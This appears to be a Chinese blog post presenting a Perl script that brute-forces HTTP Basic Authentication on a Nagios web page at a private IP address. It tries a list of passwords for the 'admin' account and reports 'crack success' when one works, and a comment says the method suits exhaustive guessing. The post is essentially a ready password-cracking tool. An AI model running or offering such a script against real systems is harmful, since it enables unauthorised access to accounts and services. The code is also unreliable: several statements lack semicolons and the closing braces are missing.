Perl脚本Basic Authentication方法

 
  
  1. #!/usr/bin/perl 
  2.  
  3. use strict; 
  4. use warnings; 
  5. use HTTP::Request; 
  6. use LWP::UserAgent; 
  7. use Data::Dumper; 
  8. use Getopt::Std; 
  9.  
  10. my %options = (); 
  11. getopt("d:",\%options); 
  12.  
  13. my $debug = $options{d} || 0; 
  14.  
  15. my @password_array = qw(ken jack sunny ben kick); 
  16.  
  17. &main(@password_array); 
  18.  
  19.  
  20.  
  21. sub main { 
  22.     foreach my $password (@_) { 
  23.         my $status = &get_url($password); 
  24.         if ($status == 1) { 
  25.                 last; 
  26.         } 
  27.     } 
  28.  
  29.  
  30. sub get_url { 
  31.     my $password = shift; 
  32.  
  33.     my $ua; 
  34.     my $req; 
  35.     my $res; 
  36.  
  37.     my $url = 'http://192.168.4.40:8010/nagios'
  38.      
  39.     $ua = LWP::UserAgent->new
  40.     $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1) Gecko/20070309 Firefox/2.0.0.3'); 
  41.     $ua->timeout(5); 
  42.      
  43.     $req = HTTP::Request->new( GET => $url ); 
  44.     #方法1:使用Firefox登陆这个Url输入用户密码时抓包,将密文抓下来。贴在下面 
  45.     #$req->header("Authorization" => 'Basic bW9ua3R4cep1Y3dlYl9tb25pdG9y'); 
  46.     #方法2:可以直接输入用户名和密码,适合进行穷举时使用 
  47.     $req->authorization_basic('admin', $password); 
  48.      
  49.     $res = $ua->request($req); 
  50.     print "************************** content begin **************************\n" if $debug; 
  51.     print $res->content . "\n" if $debug; 
  52.     print "************************** content end **************************\n" if $debug; 
  53.      
  54.     print '*************************** Dumper $res ***************************' . "\n" if $debug; 
  55.     print Dumper $res if $debug; 
  56.     print '*************************** Dumper $res ***************************' . "\n" if $debug; 
  57.      
  58.     if ($res->is_success) { 
  59.         print "crack success,password: " . $password . "\n"
  60.         return 1; 
  61.     } else { 
  62.         print "crack fail,password: " . $password . "\n"
  63.         return 0; 
  64.     }